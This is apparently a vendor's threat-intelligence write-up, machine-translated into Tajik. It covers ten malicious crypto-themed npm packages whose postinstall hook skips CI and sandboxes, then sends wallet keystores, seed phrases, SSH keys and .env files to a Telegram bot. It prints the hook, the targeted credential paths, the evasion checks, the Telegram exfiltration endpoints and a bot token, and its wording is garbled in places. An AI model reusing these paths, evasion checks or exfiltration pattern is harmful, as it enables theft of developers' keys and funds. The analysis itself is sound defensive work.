SeedSweep: Даҳ бастаи криптовалютаи зараровари npm

SeedSweep: Даҳ бастаи npm-и мавзӯи криптографӣ, ки танҳо вақте кор мекунанд, ки касе тамошо намекунад

ХИБ; DR

9 июни соли 2026 як ҳисоби ягонаи ношири npm, aicrypto-xzggg, фиристода шуд даҳ баста бо номҳои дорои таъми крипто ва Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ва шаш нафари дигар.

Ҳар як баста аз як бор якхела кор мекунад postinstall қалмоқ. Ҳангоми насб, он месанҷад, ки оё он дар дохили CI ё қуттии рег кор мекунад - агар не, он анборҳои калидҳои ҳамён, файлҳои ибораҳои тухмӣ, калидҳои SSH ва ғайраро мехонад. .env файлҳоро аз шаш экосистемаи blockchain интиқол медиҳад ва онҳоро ба боти Telegram интиқол медиҳад.

Нишондиҳандаи ягонае, ки як ҳимоятгар метавонад фавран ҷустуҷӯ кунад, ин ID-и боти Telegram аст. 8227918239.

Ҷиддият: муҳимтар — дуздии мустақими калидҳои имзо ва ибораҳои барқароркунӣ аз истгоҳҳои кории таҳиягар.

Ҳамла: Чӣ тавр он кор мекунад

Бастаҳо худро ҳамчун утилитаҳои таҳиягари blockchain таблиғ мекунанд. бастаи.json минималӣ аст ва давраи ҳаёти насбро ба скрипт нишон медиҳад:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

скриптҳо/постинстал.js як шими якхатта аст, ки бори воқеиро бор мекунад: талаб кардан(“../src/index.js”). Зеро пас аз насб кардан дар давоми он ба таври худкор кор мекунад насб, воридоти код аз ҷониби таҳиягар талаб карда намешавад - ҷойгир кардани баста дар дарахти вобастагӣ барои иҷрои он кофӣ аст.

Занҷири куштор дар дохили src/index.js чор қадам аст:

  1. Санҷиши муҳити зист. Функсияи посбон муайян мекунад, ки оё хост ба агенти сохтмонӣ ё қуттии реги таҳлилӣ монанд аст ё не.
  2. Таъхир. Иҷро пас аз як муддат ба таъхир гузошта мешавад вақти муқарраршуда тақрибан 7.4 сония.
  3. Маҷмӯа. Рӯйхати муқарраршудаи роҳҳои ҳамён, калид ва файлҳои махфӣ пайгирӣ карда мешавад; файлҳои мавҷуда дар навбат ҷойгир карда мешаванд.
  4. Ихроҷ (экфилтратсия) Файлҳои навбатдор ба боти Telegram фиристода мешаванд, ки пеш аз онҳо паёми хулоса фиристода мешавад.

Рӯйхати мақсадноки коллексия шаш занҷир ва инчунин асрори умумии таҳиягаронро дар бар мегирад.

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Дар маҷмӯъ бисту як роҳ. Вурудоти феҳрист ба монанди ~/.ethereum/калидстор васеъ карда мешаванд ва ҳар як файли дар дохили он буда дар навбат гузошта мешавад. Эксфилтратсия мустақиман аз API-и Telegram Bot истифода мебарад — a паём фиристед бо мизбон ва хулосаи файл занг занед, сипас Ҳуҷҷатро фиристед боргузории бисёрқисма барои ҳар як файл:

матн

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Паёми хулосавии рамз бо сатри аслӣ оғоз мешавад ДУЗДИИ КРИПТО, баъд аз он номи мизбон, номи корбар, номи бастаи ибтидоӣ, шумораи файлҳо ва мӯҳри вақт.

Дар ин ҷо чӣ нав аст?

Фарқияткунанда механизми дуздӣ нест — exfil аз npm дар Telegram асос ёфтааст пас аз насб кардан hooks поймол карда шудааст. Ин аст дарвозаи иҷроиш. Пеш аз анҷом додани коре, функсияи пардохт функсияеро даъват мекунад, ки вақте ки хост ба CI runner ё sandbox монанд аст, true бармегардад ва вақте ки ин корро мекунад, барвақт бармегардад:

матн

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Нуқтаи асосии container-id банди қобили таваҷҷӯҳ аст: номи мизбони 12-рақама шакли пешфарзе аст, ки Docker ба он таъин мекунад контейнер, бинобар ин, боркунии иловагӣ "номи мизбони ман ба контейнери Docker монанд аст"-ро ҳамчун сабаби хомӯш мондан баррасӣ мекунад. Дар якҷоягӣ бо таъхири ҳафт сония, тарҳ ба кор дар истгоҳи воқеии таҳиягар ва хомӯш мондан дар ҳама ҷое, ки ба таҳлили автоматӣ монанд аст, афзалият медиҳад. Ин дарвоза сигналҳои таҳлили динамикиро пахш кард ва ҷараёни статикии exfil-ро ҳамчун далели асосии маҳкумият нигоҳ дошт.

Давомнокӣ

Сана (UTC) ҳодиса
2026-06-09 ~02:48 Аввалин бастаҳо дар кластер ҳангоми нашр қайд карда шуданд (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Аъзоёни версияи баландтар қайд карда шуданд (ethereum-kit-9 соати 1.25.36, wallet-sdk-9 3.7.73)
2026-06-09 ~03:58–03:59 Аъзоёни ниҳоӣ қайд карда шуданд (defi-tools-39 соати 4.26.29, swap-sdk-87 соати 4.63.78, farming-tools-12 4.68.54)
2026-06-09 Ҳамаи даҳ нафар зараровар тасниф шудаанд ва барои нест кардани феҳрист гузориш дода шудаанд

Ҳамаи ин даҳ асар тақрибан дар давоми ҳафтод дақиқа пайдо шуданд, ки бо як нашри сенариявӣ аз як ҳисоб мувофиқат мекунад.

Нишондиҳандаҳои созиш

Нишондиҳандаҳои шабакавӣ ва рафторӣ (мизбон defanged):

нишондиҳандаи арзиши
Нуқтаи ниҳоии Exfil api[.]telegram[.]org (API-и боти Telegram)
ID-и боти Telegram 8227918239
Токени бот 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
ID-и чати Telegram 6433587894
Қалмоқро насб кунед postinstallscripts/postinstall.jssrc/index.js
Сатри нишона CRYPTO STEALER дар паёми ҷамъбастӣ
ношир aicrypto-xzggg (почтаи электронии зикршуда vipsyria88@gmail[.]com, тасдиқнашуда)

Бастаҳо ва версияҳо, ҳар кадоме бо SHA-256-и худ src/index.js боркунии файлҳо (боркуниҳо аз ҷиҳати функсионалӣ якхелаанд ва танҳо дар нишони номи бастаи дарунсохт фарқ мекунанд, аз ин рӯ ҳар як хэш фарқ мекунад):

HTML
бастаи Version SHA-256 аз src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Як дархости оддии ҷустуҷӯ: ҷустуҷӯи гузоришҳои насб ва файлҳои қулф барои ҳар яке аз даҳ ном ва ҷустуҷӯи трафики содиротӣ барои пайвастшавӣ ба Telegram Bot API аз хостҳои сохташуда ё таҳиягарон, ки онро дар акси ҳол истифода намебаранд.

Атрибутсия ва рафтори мушоҳидашуда

Ҳамаи даҳ баста аз ҷониби як ҳисоб нашр шуданд, aicrypto-xzggg, почтаи электронии зикршудааш vipsyria88@gmail[.]comҲам почтаи электронӣ ва ҳам истиноди идоракунии манбаъ дар метамаълумоти феҳрист тасдиқ нашудаанд ва ҳисоб дорои рейтинги хеле манфии обрӯ аст. Мо тасдиқ накардаем, ки кӣ ин ҳисобро идора мекунад.

Ду тафсилотро аз ҳар гуна даъвои шахсият ҷудо кардан лозим аст. Аввалан, бастаи.json муаллиф хондани саҳроӣ Алекс Смит дар ҳар як баста, дар ҳоле ки ҳисоби воқеии нашрӣ аст aicrypto-xzggg; майдони муаллиф метамаълумоти худэълоншуда аст ва муаллифиро муайян намекунад. Дуюм, рақамҳои версия хеле фарқ мекунанд - баъзе аъзоён дар он нишастаанд 1.0.0, дигарон дар 4.68.54 — ки бо истифодаи такрории як бор дар байни номҳои бастаҳои нав сохташуда ба ҷои нигоҳ доштани таърихи воқеии нашр мувофиқ аст.

Рафтор дар тамоми кластер яксон аст: ҳамон рӯйхати роҳи мақсаднок, ҳамон идентификатори боти Telegram ва идентификатори чат, ҳамон дарвозаи муҳит, ҳамон ДУЗДИИ КРИПТО нишона. Ин якрангӣ қавитарин пайванд байни бастаҳо аст. Ин сигнали як оператор аст, на як шахсият.

Таъсир, тамоюлҳо ва роҳнамоӣ барои ҳимоятгарон

Фошшавӣ мушаххас аст. Таҳиягар, ки яке аз ин бастаҳоро дар истгоҳи корӣ, ки ҳамёни нармафзор, файли ибораи тухмӣ ё калиди SSH-ро дар бар мегирад, насб мекунад, ин файлҳоро дар давоми чанд сония аз хост мехонад ва интиқол медиҳад. Ибораҳои барқарорсозӣ ва калидҳои имзо ба монанди токени сессия мӯҳлаташонро аз даст намедиҳанд; як бор mnemonic.txt ё Солана id.json мошинро тарк мекунад, маблағҳое, ​​ки он назорат мекунад, то он даме, ки онҳо интиқол дода нашаванд, дар хатар мемонанд. Ҳамин ҳаракат низ .env файлҳое, ки мунтазам калидҳои API ва эътимодномаҳои пойгоҳи додаҳоро дар бар мегиранд.

Ду тамоюл дар паси ин кластер қарор доранд. Аввалин тамоюл истифодаи доимии номҳои крипто ва Web3 барои ҷалби аудиторияи мушаххас аст - таҳиягароне, ки ҳамёнҳо ва калидҳоро дар ҳамон мошине, ки вобастагиҳоро дар он насб мекунанд, нигоҳ медоранд. Дуюм, пухта расидани саркашӣ аз қуттии рег дар борҳои вақти насб аст. Дарвозае, ки тағирёбандаҳои муҳити CI, номҳои корбарии иҷрокунанда ва шакли номи мизбони контейнери Docker-ро тафтиш мекунад, як кӯшиши қасдан аст, ки дар таҳлил нисбат ба истгоҳи воқеии корӣ рафтори дигар кунад ва он сатҳи ошкоркунии комилан динамикиро баланд мебардорад.

Барои ҳимоятгарон:

Насб бо скриптҳои пешфарз ғайрифаъол. npm насб –ignore-scripts, ё муқаррар кунед ignore-scripts=true in .npmrc, пешгирӣ мекунад пас аз насб кардан иҷро; скриптҳоро танҳо барои вобастагиҳои мушаххасе, ки воқеан ба онҳо ниёз доранд, фаъол созед.

Ҳамёнҳо ва калидҳои имзоро аз дастгоҳҳои сохтмонӣ ва таҳияӣ дур нигоҳ доред. Ҳамёни сахтафзор ё хости имзои махсус ва бидуни вобастагӣ истифода баред.

Муносибат .env, анборҳои калидӣ ва файлҳои ибораҳои тухмӣ ҳамчун ҷавоҳироти тоҷ. Онҳо ҳеҷ гоҳ набояд дар феҳристе ҷойгир шаванд, ки он низ як аст. насб дарахти корӣ.

Пайвастҳои берунаро ба Telegram Bot API аз CI ва мизбонҳои таҳиягар ҷустуҷӯ кунед. Аксари муҳитҳои сохташуда ҳеҷ гоҳ онро даъват намекунанд; муҳитҳое, ки ногаҳон, фавран пас аз насб, пайдо мешаванд, сазовори таҳқиқ ҳастанд.

Вобастагиҳоро пин кунед ва баррасӣ кунед. Бастаи нав бо номи умумии крипто, пас аз насб кардан қалмоқ аст ва ҳеҷ як истиноди анбор пеш аз ворид шудан ба файли қулфӣ, нигоҳ карданро талаб намекунад.

Банди саркашӣ аз истифодаи контейнер-id инчунин барои таҳлилгарон хотиррасон мекунад: боркунии вақти насб, ки дар қуттии рег хомӯш мемонад, безарар нест, он интихобӣ аст. Баррасии статикии роҳи насб роҳи боэътимоди дидани он чизест, ки иҷрои динамикӣ метавонад нишон надиҳад, боқӣ мемонад.

Адабиёт

ҳуҷҷатҳои насби npm — скриптҳои давраи ҳаёт ва –скриптҳоро сарфи назар кунед— истинод барои хомӯш кардани насби худкор hooks. 

асбобҳои sca-tools-нармафзор-таҳлили таркиб
Хатарҳои нармафзори худро афзалият диҳед, ислоҳ кунед ва бехатар созед
Ҳисоби ройгони худро дастрас кунед.
Корти кредитӣ лозим нест.

Таҳия ва интиқоли нармафзори худро таъмин кунед

бо маҷмӯи маҳсулоти Xygeni